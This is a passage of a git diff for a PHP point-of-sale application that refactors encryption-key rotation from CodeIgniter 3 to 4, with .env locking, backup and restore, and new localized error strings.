'clcdesq_api_key' => '', - 'clcdesq_api_url' => '', - 'mailchimp_api_key' => '', - 'mailchimp_list_id' => '', - 'smtp_pass' => '' - ]; - - foreach ($ci3EncryptedData as $key => $value) { - $ci3EncryptedData[$key] = $appConfig->get_value($key); - } - - $decryptedData = $this->decryptCI3Data($ci3EncryptedData); - - if (!checkEncryption()) { - abortEncryptionConversion(); - throw new DatabaseException('Failed to persist encryption key. Check logs for details.'); - } - - $ci4EncryptedData = $this->encryptData($decryptedData); - - $success = empty(array_diff_assoc($decryptedData, $this->decryptData($ci4EncryptedData))); - if (!$success) { - abortEncryptionConversion(); - throw new RedirectException('login'); // TODO: Need to figure out how to pass the error to the Login controller so that it gets displayed. - } - - if (!$appConfig->batch_save($ci4EncryptedData)) { - abortEncryptionConversion(); - throw new DatabaseException('Failed to save converted encryption data. Check logs for details.'); - } - } - - /** - * Decrypts CI3 encrypted data and returns the plaintext values. + * Decrypts legacy CI3-encrypted secrets with the old key, rotates to a + * fresh CI4 key, re-encrypts under the new key, verifies the round trip, + * and persists the result. * - * @param array $encryptedData Data encrypted using CI3 methodology. - * @return array Plaintext, unencrypted data. - */ - private function decryptCI3Data(array $encryptedData): array - { - $config = new Encryption(); - $config->driver = 'OpenSSL'; - $config->key = config('Encryption')->key; - $config->cipher = 'AES-128-CBC'; - $config->rawData = false; - $config->encryptKeyInfo = 'encryption'; - $config->authKeyInfo = 'authentication'; - - $encrypter = Services::encrypter($config); - - return array_map(function ($value) use ($encrypter) { - return !empty($value) ? $encrypter->decrypt($value) : ''; - }, $encryptedData); - } - - /** - * Encrypts data using CI4 algorithms. + * The actual decryption/encryption is delegated to CI3SecretConverter so + * the docker startup command (env:provision) shares the same code path. * - * @param array $plainData Data to be encrypted. - * @return array Encrypted data. + * @param string $oldKey the CI3-era key currently in .env + * @throws RedirectException */ - private function encryptData(array $plainData): array + private function convertCI3EncryptedData(string $oldKey): void { - $encrypter = Services::encrypter(); + $converter = new CI3SecretConverter(); - return array_map(function ($value) use ($encrypter) { - return $value !== '' ? $encrypter->encrypt($value) : ''; - }, $plainData); - } + // DB read, safe outside the .env lock. + $plain = $converter->decryptAll($oldKey); - /** - * Decrypts data using CI4 algorithms. - * - * @param array $encryptedData Data to be decrypted. - * @return array Decrypted data. - */ - private function decryptData(array $encryptedData): array - { - $encrypter = Services::encrypter(); + // Backup -> rotate -> re-encrypt -> verify -> persist under one .env + // lock. On any failure the transaction restores the pre-rotation .env + // (still holding the lock); on success it drops the backup. + rotateEncryptionKeyTransaction($oldKey, static function () use ($plain, $converter): void { + $encrypted = $converter->encryptAll($plain); - return array_map(function ($value) use ($encrypter) { - return !empty($value) ? $encrypter->decrypt($value) : ''; - }, $encryptedData); + // Verify the round trip before committing so we never lose data. + if (array_diff_assoc($plain, $converter->verifyAll($encrypted)) !== []) { + throw new RedirectException('login'); // TODO: Need to figure out how to pass the error to the Login controller so that it gets displayed. + } + + $converter->saveAll($encrypted); + }); } } diff --git a/app/Helpers/security_helper.php b/app/Helpers/security_helper.php index 4b95506c1..469b94243 100644 --- a/app/Helpers/security_helper.php +++ b/app/Helpers/security_helper.php @@ -1,5 +1,6 @@ lockPath; $handle = @fopen($lockPath, 'c+'); if ($handle === false) { - throw new RuntimeException("Unable to open $lockPath"); + $reason = error_get_last()['message'] ?? 'unknown error'; + log_message('critical', "Unable to open $lockPath: $reason"); + + throw new RuntimeException(lang('Error.unable_to_open_lock_file', ['filePath' => $lockPath, 'reason' => $reason])); } if (!flock($handle, LOCK_EX)) { fclose($handle); - throw new RuntimeException("Unable to lock $lockPath"); + $reason = error_get_last()['message'] ?? 'unknown error'; + log_message('critical', "Unable to lock $lockPath: $reason"); + + throw new RuntimeException(lang('Error.unable_to_lock_file', ['filePath' => $lockPath, 'reason' => $reason])); } return $handle; @@ -41,16 +48,13 @@ function unlockEnvFile($handle): void } /** - * Replaces or inserts a single `key='value'` line in .env + * Copies .env.example to .env (or creates a stub) if .env does not exist yet. * - * @param string $envKey - * @param string $value - * @return bool true on success, false if the write could not be completed + * @param string $configPath + * @return bool true if $configPath exists (already did, or was just created) */ -function writeEnvKey(string $envKey, string $value): bool +function initializeEnvFile(string $configPath): bool { - $configPath = ROOTPATH . '.env'; - if (!file_exists($configPath)) { $examplePath = ROOTPATH . '.env.example'; if (file_exists($examplePath)) { @@ -61,56 +65,70 @@ function writeEnvKey(string $envKey, string $value): bool @chmod($configPath, 0640); } - if (!file_exists($configPath)) { + return file_exists($configPath); +} + +/** + * Replaces or inserts a single `key='value'` line in .env + * + * @param string $envKey + * @param string $value + * @return bool true on success, false if the write could not be completed + */ +function writeEnvKey(string $envKey, string $value): bool +{ + $configPath = config('SecurityEnv')->envPath; + + if (!initializeEnvFile($configPath)) { return false; } $lock = lockEnvFile(); try { - $configFile = file_get_contents($configPath); + $configFile = @file_get_contents($configPath); if ($configFile === false) { return false; } - $configFile = applyEnvKeyReplacement($configFile, $envKey, $value); + $updated = applyEnvKeyReplacement($configFile, $envKey, $value); + if ($updated === null) { + return false; + } - return atomicWriteFile($configPath, $configFile); + return atomicWriteFile($configPath, $updated); } finally { unlockEnvFile($lock); } } -/** - * @param string $configFile - * @param string $envKey - * @param string $value - * @return string - */ -function applyEnvKeyReplacement(string $configFile, string $envKey, string $value): string +function applyEnvKeyReplacement(string $configFile, string $envKey, string $value): ?string { $pattern = '/^\s*' . preg_quote($envKey, '/') . '\s*=.*/m'; + $escapedValue = str_replace(['\\', '$'], ['\\\\', '\\$'], $value); if (preg_match($pattern, $configFile)) { - return preg_replace($pattern, "$envKey='$value'", $configFile, 1); + return preg_replace_callback($pattern, static fn () => "$envKey='$escapedValue'", $configFile, 1); } + // New keys insert right after encryption.key so it stays first for easy backup/rotation. if (preg_match('/^encryption\.key\s*=.*$/m', $configFile, $matches, PREG_OFFSET_CAPTURE)) { - $insertAt = $matches[0][1] + strlen($matches[0][0]); + $insertAt = (int) $matches[0][1] + strlen($matches[0][0]); - return substr_replace($configFile, "\n$envKey='$value'", $insertAt, 0); + return substr_replace($configFile, "\n$envKey='$escapedValue'", $insertAt, 0); } - return $configFile . "\n$envKey='$value'\n"; + return $configFile . "\n$envKey='$escapedValue'\n"; } /** * Writes $contents to a temp file in the same directory as $path, then - * renames it onto $path so readers never observe a partially-written file. + * renames it onto $path so readers never observe a partially written file. * * @param string $path * @param string $contents * @return bool + * @throws RandomException */ function atomicWriteFile(string $path, string $contents): bool { @@ -145,10 +163,7 @@ function atomicWriteFile(string $path, string $contents): bool fclose($handle); - // rename() overwrites an existing destination on POSIX. On Windows it - // does not, so fall back to unlink()+rename() there. Callers must not - // hold any open handle on $path — Windows can't unlink/rename a path - // that's still open, even by the same process. + // On Windows rename() does not overwrite an existing destination. Fall back to unlink()+rename(). if (!@rename($tmpPath, $path)) { if (PHP_OS_FAMILY !== 'Windows' || !@unlink($path) || !@rename($tmpPath, $path)) { @unlink($tmpPath); @@ -163,105 +178,360 @@ function atomicWriteFile(string $path, string $contents): bool } /** - * @return bool + * Copies $configPath to $backupPath, creating the backup folder if needed. + * + * @param string $configPath + * @param string $backupPath + * @return bool true when the backup exists and is readable, false otherwise */ -function checkEncryption(): bool +function backupEnvFile(string $configPath, string $backupPath): bool { - $oldKey = config('Encryption')->key; + $backupFolder = dirname($backupPath); - if ((empty($oldKey)) || (strlen($oldKey) < 64)) { - $encryption = new Encryption(); - $key = bin2hex($encryption->createKey()); - config('Encryption')->key = $key; + if (!file_exists($backupFolder) && !@mkdir($backupFolder, 0750, true)) { + return false; + } - $configPath = ROOTPATH . '.env'; - $backupPath = WRITEPATH . '/backup/.env.bak'; - $backupFolder = WRITEPATH . '/backup'; + if (!@copy($configPath, $backupPath)) { + return false; + } - if (!file_exists($backupFolder)) { - @mkdir($backupFolder, 0750, true); - } + if (!is_readable($backupPath)) { + return false; + } - if (!file_exists($configPath)) { - $examplePath = ROOTPATH . '.env.example'; - if (file_exists($examplePath)) { - @copy($examplePath, $configPath); - } else { - @file_put_contents($configPath, "# OSPOS Configuration\n\n"); - } - @chmod($configPath, 0640); - } - - if (file_exists($configPath)) { - @copy($configPath, $backupPath); - @chmod($backupPath, 0640); - @chmod($configPath, 0640); - - if (!writeEnvKey('encryption.key', $key)) { - return false; - } - - if (!empty($oldKey)) { - $configFile = file_get_contents($configPath); - $oldLine = "# encryption.key='$oldKey' REMOVE IF UNNEEDED\r\n"; - if (preg_match('/^encryption\.key\s*=/m', $configFile, $matches, PREG_OFFSET_CAPTURE)) { - $configFile = substr_replace($configFile, $oldLine, $matches[0][1], 0); - @file_put_contents($configPath, $configFile); - @chmod($configPath, 0640); - } - } - - log_message('info', "Updated encryption key in $configPath"); - } + if (@chmod($backupPath, 0640) !== true || @chmod($configPath, 0640) !== true) { + return false; } return true; } /** - * Returns a persistent secret for HMAC-hashing login-throttle cache keys. + * Applies the new encryption.key to $configFile, preserving $oldKey as a + * commented-out backup line immediately before it. * - * Deliberately independent of checkEncryption()/encryption.key: the throttle - * filter runs before the login-triggered CI3->CI4 migration, so provisioning - * this secret must never touch or rotate the encryption key. + * @param string $configFile + * @param string $key + * @param string $oldKey + * @return string|null updated file contents, or null if the replacement failed + */ +function writeNewEncryptionKey(string $configFile, string $key, string $oldKey): ?string +{ + $updated = applyEnvKeyReplacement($configFile, 'encryption.key', $key); + if ($updated === null) { + return null; + } + + if (!empty($oldKey)) { + $oldLine = "# encryption.key='$oldKey' REMOVE IF UNNEEDED\r\n"; + if (preg_match('/^encryption\.key\s*=/m', $updated, $matches, PREG_OFFSET_CAPTURE)) { + $updated = substr_replace($updated, $oldLine, $matches[0][1], 0); + } + } + + return $updated; +} + +/** + * Returns true when the current process can write to (or create) .env. * - * @return string - * @throws RandomException - * @throws RuntimeException if the key cannot be durably persisted + * A missing .env file is considered writable when the directory is writable. + * + * @return bool + */ +function envFileIsWritable(): bool +{ + $configPath = config('SecurityEnv')->envPath; + + return file_exists($configPath) + ? is_writable($configPath) + : is_writable(dirname($configPath)); +} + +/** + * Ensures a usable CI4 encryption key is available. + * + * Behaviour: + * - Key present and >= 64 characters: returns true immediately (no I/O). + * - Key missing or CI3-era (< 64 chars) and .env IS writable: + * - Short key: decrypts legacy CI3 secrets, rotates to a fresh CI4 key, + * re-encrypts under the new key, verifies the round-trip, persists result. + * - Missing key: generates a fresh key and persists it. + * - Key missing or CI3-era (< 64 chars) and .env NOT writable: + * throws — the key was presumably already provisioned externally + * (e.g. `php spark env:provision` at container startup); the in-memory + * config simply hasn't been reloaded yet. + * + * @param CI3SecretConverter|null $converter injectable converter used to + * decrypt/re-encrypt legacy CI3 + * secrets in the short-key branch; + * defaults to the real converter + * (tests may pass a fake to avoid + * hitting the database) + * @return bool true when a valid key is available + * @throws Throwable when .env is not writable or the CI3 -> CI4 conversion fails + */ +function checkEncryption(?CI3SecretConverter $converter = null): bool +{ + $key = (string) config('Encryption')->key; + + if ($key !== '' && strlen($key) >= 64) { + return true; + } + + if (!envFileIsWritable()) { + log_message('critical', 'Encryption key not provisioned and .env is not writable. Run `php spark env:provision` to generate one.'); + + throw new RuntimeException(lang('Error.encryption_key_not_provisioned')); + } + + if ($key !== '') { + $converter = $converter ?? new CI3SecretConverter(); + + // Legacy plaintext is a DB read; safe outside the .env lock (the lock + // only guards the .env file write, which the rotation performs). + $plain = $converter->decryptAll($key); + + $nonEmpty = false; + foreach ($plain as $value) { + if ((string) $value !== '') { + $nonEmpty = true; + break; + } + } + + // Run the whole backup -> rotate -> re-encrypt -> verify -> persist unit + // under a single .env lock. On any failure, the pre-rotation backup is + // restored (also in-lock); on success the backup is removed (in-lock). + rotateEncryptionKeyTransaction($key, static function () use ($plain, $converter, $nonEmpty): void { + $encrypted = $converter->encryptAll($plain); + + if (array_diff_assoc($plain, $converter->verifyAll($encrypted)) !== []) { + throw new RuntimeException(lang('Error.unable_to_persist_encryption_key', ['filePath' => config('SecurityEnv')->envPath])); + } + + if ($nonEmpty) { + $converter->saveAll($encrypted); + } + }); + } else { + // Fresh key (no old key to decrypt): a single atomic write suffices. + rotateEncryptionKey(null); + } + + return true; +} + +/** + * Returns the persistent HMAC secret used to hash login-throttle cache keys. + * + * Behaviour: + * - Key already present: returned immediately (no I/O). + * - Key missing and .env IS writable: generates a fresh key and persists it. + * - Key missing and .env NOT writable: + * throws — the key was presumably already provisioned externally + * (e.g. `php spark env:provision` at container startup). + * + * @return string the throttle key + * @throws RuntimeException if the key cannot be provisioned */ function checkThrottleEncryption(): string { $key = (string) env('throttle.key', ''); - if (!empty($key)) { + if ($key !== '') { return $key; } - $configPath = ROOTPATH . '.env'; + if (!envFileIsWritable()) { + log_message('critical', 'Throttle key not provisioned and .env is not writable. Run `php spark env:provision` to generate one.'); - if (!file_exists($configPath)) { - $examplePath = ROOTPATH . '.env.example'; - if (file_exists($examplePath)) { - @copy($examplePath, $configPath); - } else { - @file_put_contents($configPath, "# OSPOS Configuration\n\n"); - } - @chmod($configPath, 0640); + throw new RuntimeException(lang('Error.throttle_key_not_provisioned')); } - if (!file_exists($configPath)) { - throw new RuntimeException("Unable to create $configPath to provision throttle.key"); + return provisionThrottleKey(); +} + +/** + * Generates a strong encryption key, persists it to `.env` (rotating in place + * so callers can re-encrypt CI3 data that was sealed with the old key), and + * applies it to the running config instance. + * + * Standalone key-write path: acquires and holds the `.env` mutex for the + * duration of the write, so concurrent callers see atomic key writes. Callers + * that also run a longer multi-step conversion (re-encrypt, verify, persist) + * must use rotateEncryptionKeyTransaction() instead, so a single lock is held + * for the whole backup -> rotate -> re-encrypt -> persist unit and the + * key-write does not take a nested lock on the same mutex (which would + * deadlock). + * + * @param string|null $oldKey current key to rotate from; when non-empty it is + * preserved as a commented backup line for the + * CI3->CI4 re-encryption pass + * @return string the newly generated key + * @throws RuntimeException if the key could not be generated or persisted + * @throws RandomException + */ +function rotateEncryptionKey(?string $oldKey = null): string +{ + $lock = lockEnvFile(); + + try { + return rotateEncryptionKeyUnlock($oldKey); + } finally { + unlockEnvFile($lock); + } +} + +/** + * Lock-free core of rotateEncryptionKey(): generates a key, backs up .env, + * writes the new key (atomic), and applies it to the running config. + * + * Do not call directly from context that does not already hold the lock — + * that leaves a window in which another worker can read or write .env before + * the atomic write lands. The two callers, rotateEncryptionKey() and + * rotateEncryptionKeyTransaction(), each acquire the lock first and pass the + * lock-free core through. + * + * @param string|null $oldKey current key to rotate from + * @return string the newly generated key + * @throws RuntimeException if the key could not be generated or persisted + * @throws RandomException + */ +function rotateEncryptionKeyUnlock(?string $oldKey): string +{ + $encryption = new Encryption(); + $key = bin2hex($encryption->createKey()); + + $configPath = config('SecurityEnv')->envPath; + $backupPath = config('SecurityEnv')->backupPath; + + if (!initializeEnvFile($configPath)) { + throw new RuntimeException(lang('Error.unable_to_create_env_file', ['filePath' => $configPath])); + } + + if (file_exists($configPath)) { + if (!backupEnvFile($configPath, $backupPath)) { + log_message('critical', "Unable to back up $configPath to $backupPath before rotation; aborting."); + + throw new RuntimeException(lang('Error.unable_to_persist_encryption_key', ['filePath' => $configPath])); + } + } + + $configFile = @file_get_contents($configPath); + if ($configFile === false) { + log_message('critical', "Unable to read $configPath before rotation; aborting."); + + throw new RuntimeException(lang('Error.unable_to_read_env_file', ['filePath' => $configPath])); + } + + $updated = writeNewEncryptionKey($configFile, $key, (string) $oldKey); + if ($updated === null) { + throw new RuntimeException(lang('Error.unable_to_persist_encryption_key', ['filePath' => $configPath])); + } + + if (!atomicWriteFile($configPath, $updated)) { + throw new RuntimeException(lang('Error.unable_to_persist_encryption_key', ['filePath' => $configPath])); + } + + config('Encryption')->key = $key; + + log_message('info', "Rotated encryption key in $configPath"); + + return $key; +} + +/** + * Runs the CI3 -> CI4 key conversion as a single transaction on the `.env` + * mutex. + * + * The lock is acquired BEFORE the .env backup and released only AFTER + * $conversion has run, so the entire unit (backup -> rotate -> re-encrypt -> + * verify -> persist) is atomic with respect to any other worker that also + * takes the lock. The $conversion callback must throw on failure; the caller + * is expected to catch the exception and roll back via + * abortEncryptionConversion(). + * + * Calls the lock-free rotateEncryptionKeyUnlock() internally so the + * transaction lock is not re-acquired on the same mutex (which would deadlock) + * — the mutex is held across the backup, the key write, the re-encryption, + * verification, and persistence. + * + * @param string|null $oldKey current key to rotate from + * @param callable $conversion callback(): void, called after the new key + * has been persisted and applied to the running + * config; expected to perform re-encryption, + * verification, and persistence. Must throw on + * failure; the pre-rotation backup is restored + * before the exception propagates. + * @return string the newly generated key + * @throws Throwable from $conversion (the lock is released in `finally`) + * @throws RuntimeException + * @throws RandomException + */ +function rotateEncryptionKeyTransaction(?string $oldKey, callable $conversion): string +{ + // Hold one lock for the entire transaction (backup -> rotate -> re-encrypt + // -> verify -> persist -> cleanup). If we cannot acquire it, we fail + // rather than silently run without synchronisation — the invariant (no + // interleaved key + ciphertext writes) requires it. + $lock = lockEnvFile(); + + try { + // Lock-free inner write: the outer lock IS the transaction lock, so no + // nested re-acquire on the same mutex (which would deadlock). + $newKey = rotateEncryptionKeyUnlock($oldKey); + + // Multi-step conversion (re-encrypt -> verify -> persist) runs while + // still holding the lock, so a concurrent worker cannot interleave its + // key write between the rotation and this ciphertext save. + $conversion(); + + // Success: drop the pre-rotation backup, in-lock. + removeBackup(); + + return $newKey; + } catch (Throwable $e) { + // Failure (CI4 EncryptionException / ReflectionException from saveAll, + // or a failed round-trip verify, or the rotation itself failed): + // restore the pre-rotation .env while still holding the lock, then + // rethrow. catch runs before finally, so the restore is atomic with + // the held lock. + abortEncryptionConversion(); + + throw $e; + } finally { + unlockEnvFile($lock); + } +} + +/** + * Ensures a persistent throttle secret exists, generating and persisting one + * to `.env` if it is missing. Idempotent: safe to call on every startup. + * + * @return string the throttle key + * @throws RuntimeException if the key could not be created or persisted + */ +function provisionThrottleKey(): string +{ + $configPath = config('SecurityEnv')->envPath; + + if (!initializeEnvFile($configPath)) { + throw new RuntimeException(lang('Error.unable_to_create_env_file', ['filePath' => $configPath])); } $lock = lockEnvFile(); try { - $configFile = file_get_contents($configPath); + $configFile = @file_get_contents($configPath); if ($configFile === false) { - throw new RuntimeException("Unable to read $configPath to provision throttle.key"); + log_message('critical', "Unable to read $configPath while provisioning throttle key; aborting."); + + throw new RuntimeException(lang('Error.unable_to_read_env_file', ['filePath' => $configPath])); } - // Another process may have provisioned the key while we waited for the lock. + $key = ''; if (preg_match('/^\s*throttle\.key\s*=\s*[\'"]?([^\'"\r\n]*)/m', $configFile, $matches)) { $existing = trim($matches[1]); if ($existing !== '') { @@ -269,13 +539,13 @@ function checkThrottleEncryption(): string } } - if (empty($key)) { + if ($key === '') { $key = bin2hex(random_bytes(32)); - $configFile = applyEnvKeyReplacement($configFile, 'throttle.key', $key); + } - if (!atomicWriteFile($configPath, $configFile)) { - throw new RuntimeException("Unable to persist throttle.key to $configPath"); - } + $updated = applyEnvKeyReplacement($configFile, 'throttle.key', $key); + if ($updated === null || !atomicWriteFile($configPath, $updated)) { + throw new RuntimeException(lang('Error.unable_to_persist_throttle_key', ['filePath' => $configPath])); } } finally { unlockEnvFile($lock); @@ -285,7 +555,7 @@ function checkThrottleEncryption(): string $_ENV['throttle.key'] = $key; $_SERVER['throttle.key'] = $key; - log_message('info', 'Provisioned throttle key in ' . ROOTPATH . '.env'); + log_message('info', 'Provisioned throttle key in ' . config('SecurityEnv')->envPath); return $key; } @@ -295,16 +565,29 @@ function checkThrottleEncryption(): string */ function abortEncryptionConversion(): void { - $configPath = ROOTPATH . '.env'; - $backupPath = WRITEPATH . '/backup/.env.bak'; + $configPath = config('SecurityEnv')->envPath; + $backupPath = config('SecurityEnv')->backupPath; if (!file_exists($backupPath)) { return; } - @chmod($configPath, 0640); + // A backup exists, so the restore must succeed or fail loudly; a silent + // failure would leave .env holding the new key while the DB still holds the + // old ciphertext, making the data undecryptable after the next restart. + if (!is_file($backupPath) || !is_readable($backupPath)) { + throw new RuntimeException(lang('Error.unable_to_read_env_file', ['filePath' => $backupPath])); + } + $configFile = file_get_contents($backupPath); - @file_put_contents($configPath, $configFile); + if ($configFile === false) { + throw new RuntimeException(lang('Error.unable_to_read_env_file', ['filePath' => $backupPath])); + } + + if (!atomicWriteFile($configPath, $configFile)) { + throw new RuntimeException(lang('Error.unable_to_persist_encryption_key', ['filePath' => $configPath])); + } + log_message('info', "Restored $configPath from backup"); } @@ -313,7 +596,7 @@ function abortEncryptionConversion(): void */ function removeBackup(): void { - $backupPath = WRITEPATH . '/backup/.env.bak'; + $backupPath = config('SecurityEnv')->backupPath; if (!file_exists($backupPath)) { return; } diff --git a/app/Language/ar-EG/Config.php b/app/Language/ar-EG/Config.php index c8a07b406..af96e9bf5 100644 --- a/app/Language/ar-EG/Config.php +++ b/app/Language/ar-EG/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'الرسائل النصية المحفوظة', 'msg_msg_placeholder' => 'إذا أردت إستخدام قالب للرسائل القصيرة احفظه هنا. عدا ذلك أترك هذا الحقل فارغ.', 'msg_pwd' => 'SMS-API كلمة السر لـ', - 'msg_pwd_required' => 'مطلوب SMS-API كلمة السر لـ', 'msg_src' => 'SMS-API كود المرسل لـ', 'msg_src_required' => 'مطلوب SMS-API كود المرسل لـ', 'msg_uid' => 'SMS-API اسم المستخدم لـ', diff --git a/app/Language/ar-EG/Error.php b/app/Language/ar-EG/Error.php index 9c63bccaa..b33d9d526 100644 --- a/app/Language/ar-EG/Error.php +++ b/app/Language/ar-EG/Error.php @@ -1,6 +1,14 @@ "ليس لديك صلاحيات للوصول لهذا القسم", - "unknown" => "غير معروف", + 'no_permission_module' => 'ليس لديك صلاحيات للوصول لهذا القسم', + 'unable_to_create_env_file' => 'تعذر إنشاء {filePath} لتوفير throttle.key', + 'unable_to_lock_file' => 'تعذر قفل {filePath}: {reason}', + 'unable_to_open_lock_file' => 'تعذر فتح {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'تعذر حفظ throttle.key في {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'تعذر قراءة {filePath} لتوفير throttle.key', + 'unknown' => 'غير معروف', ]; diff --git a/app/Language/ar-LB/Config.php b/app/Language/ar-LB/Config.php index 17cdbe6ce..7a40b96bf 100644 --- a/app/Language/ar-LB/Config.php +++ b/app/Language/ar-LB/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'الرسائل النصية المحفوظة', 'msg_msg_placeholder' => 'إذا أردت إستخدام قالب للرسائل القصيرة احفظه هنا. عدا ذلك أترك هذا الحقل فارغ.', 'msg_pwd' => 'SMS-API كلمة السر لـ', - 'msg_pwd_required' => 'مطلوب SMS-API كلمة السر لـ', 'msg_src' => 'SMS-API كود المرسل لـ', 'msg_src_required' => 'مطلوب SMS-API كود المرسل لـ', 'msg_uid' => 'SMS-API اسم المستخدم لـ', diff --git a/app/Language/ar-LB/Error.php b/app/Language/ar-LB/Error.php index 9c63bccaa..16e700537 100644 --- a/app/Language/ar-LB/Error.php +++ b/app/Language/ar-LB/Error.php @@ -1,6 +1,14 @@ "ليس لديك صلاحيات للوصول لهذا القسم", - "unknown" => "غير معروف", + 'no_permission_module' => 'ليس لديك صلاحيات للوصول لهذا القسم', + 'unable_to_create_env_file' => 'تعذر إنشاء {filePath} لتوفير throttle.key', + 'unable_to_lock_file' => 'تعذر قفل {filePath}: {reason}', + 'unable_to_open_lock_file' => 'تعذر فتح {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'تعذر حفظ throttle.key في {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'تعذر قراءة {filePath} لتوفير throttle.key', + 'unknown' => 'غير معروف', ]; diff --git a/app/Language/az/Config.php b/app/Language/az/Config.php index 302476d67..dcfc65a30 100644 --- a/app/Language/az/Config.php +++ b/app/Language/az/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saxlanılan Mətn Mesajı', 'msg_msg_placeholder' => 'SMS şablonunu istifadə etmək istəyirsinizsə, mesajınızı buraya qeyd edin, əks halda qutunu boş buraxın.', 'msg_pwd' => 'SMS-API Şifrəsi', - 'msg_pwd_required' => 'SMS-API şifrəsi tələb olunan bir sahədir', 'msg_src' => 'SMS-API Göndərici ID', 'msg_src_required' => 'SMS-API Göndərici ID tələb olunan sahədir', 'msg_uid' => 'SMS-API İstifadəçi adı', diff --git a/app/Language/az/Error.php b/app/Language/az/Error.php index 383c3771a..32fd7658a 100644 --- a/app/Language/az/Error.php +++ b/app/Language/az/Error.php @@ -1,6 +1,14 @@ "sizin icazəniz yoxdur", - "unknown" => "naməlum", + 'no_permission_module' => 'sizin icazəniz yoxdur', + 'unable_to_create_env_file' => 'throttle.key təmin etmək üçün {filePath} yaradıla bilmədi', + 'unable_to_lock_file' => '{filePath} kilidlənə bilmədi: {reason}', + 'unable_to_open_lock_file' => '{filePath} açıla bilmədi: {reason}', + 'unable_to_persist_throttle_key' => 'throttle.key {filePath} faylına yazıla bilmədi', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'throttle.key təmin etmək üçün {filePath} oxuna bilmədi', + 'unknown' => 'naməlum', ]; diff --git a/app/Language/bg/Config.php b/app/Language/bg/Config.php index ed178157d..9bf239650 100644 --- a/app/Language/bg/Config.php +++ b/app/Language/bg/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here, otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/bg/Error.php b/app/Language/bg/Error.php index 1c95b608d..bf53a7687 100644 --- a/app/Language/bg/Error.php +++ b/app/Language/bg/Error.php @@ -1,6 +1,14 @@ "Нямате разрешение за достъп до модула с име", - "unknown" => "Неизвестна грешка", + 'no_permission_module' => 'Нямате разрешение за достъп до модула с име', + 'unable_to_create_env_file' => 'Неуспешно създаване на {filePath} за осигуряване на throttle.key', + 'unable_to_lock_file' => 'Неуспешно заключване на {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Неуспешно отваряне на {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Неуспешно записване на throttle.key в {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Неуспешно четене на {filePath} за осигуряване на throttle.key', + 'unknown' => 'Неизвестна грешка', ]; diff --git a/app/Language/bs/Config.php b/app/Language/bs/Config.php index ffd58cb04..bc30c80aa 100644 --- a/app/Language/bs/Config.php +++ b/app/Language/bs/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Snimljena tekst poruka', 'msg_msg_placeholder' => 'Ako želite koristiti SMS šablon, snimite poruku ovdje. U suprotnom ostavite prazno polje.', 'msg_pwd' => 'SMS-API lozinke', - 'msg_pwd_required' => 'SMS-API lozinke je obavezno polje', 'msg_src' => 'SMS-API ID pošiljaoca', 'msg_src_required' => 'SMS-API Id pošiljaoca je obavezno polje', 'msg_uid' => 'SMS-API korisnika', diff --git a/app/Language/bs/Error.php b/app/Language/bs/Error.php index 7ed5adf4e..865a963bd 100644 --- a/app/Language/bs/Error.php +++ b/app/Language/bs/Error.php @@ -1,6 +1,14 @@ "Nemate dozvolu za pristup modulu", - "unknown" => "Neočekivana greška", + 'no_permission_module' => 'Nemate dozvolu za pristup modulu', + 'unable_to_create_env_file' => 'Nije moguće kreirati {filePath} za obezbjeđivanje throttle.key', + 'unable_to_lock_file' => 'Nije moguće zaključati {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Nije moguće otvoriti {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Nije moguće trajno sačuvati throttle.key u {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Nije moguće pročitati {filePath} za obezbjeđivanje throttle.key', + 'unknown' => 'Neočekivana greška', ]; diff --git a/app/Language/ckb/Config.php b/app/Language/ckb/Config.php index 98ef58f0a..b58331d09 100644 --- a/app/Language/ckb/Config.php +++ b/app/Language/ckb/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'دەقی نامەی پاشەکەوتکراو', 'msg_msg_placeholder' => 'ئەگەر دەتەوێت تێمپڵەیتی کورتەنامە بەکاربهێنیت ئەوا نامەکەت لێرەدا پاشەکەوت بکە، ئەگەرنا خانەکە بە بەتاڵی بهێڵەرەوە.', 'msg_pwd' => 'وشەی نهێنی کورتەنامە-ئەی پی ئای', - 'msg_pwd_required' => 'خانەی وشەی نهێنی کورتەنامە-ئەی پی ئای پێویستە', 'msg_src' => 'ناسنامەی نێردەری کورتەنامە-ئەی پی ئای', 'msg_src_required' => 'خانەی ناسنامەی کورتەنامە-ئەی پی ئای پێویستە', 'msg_uid' => 'ناوی بەکارهێنەری کورتەنامە-ئەی پی ئای', diff --git a/app/Language/ckb/Error.php b/app/Language/ckb/Error.php index 5e5bf4ce5..dd1f9db1d 100644 --- a/app/Language/ckb/Error.php +++ b/app/Language/ckb/Error.php @@ -1,6 +1,14 @@ "تۆ ڕێگەپێدانت نییە بۆ دەستگەیشتن بەو مۆدیولەی کە ناوی لێنراوە", - "unknown" => "هەڵەیەکی چاوەڕواننەکراو", + 'no_permission_module' => 'تۆ 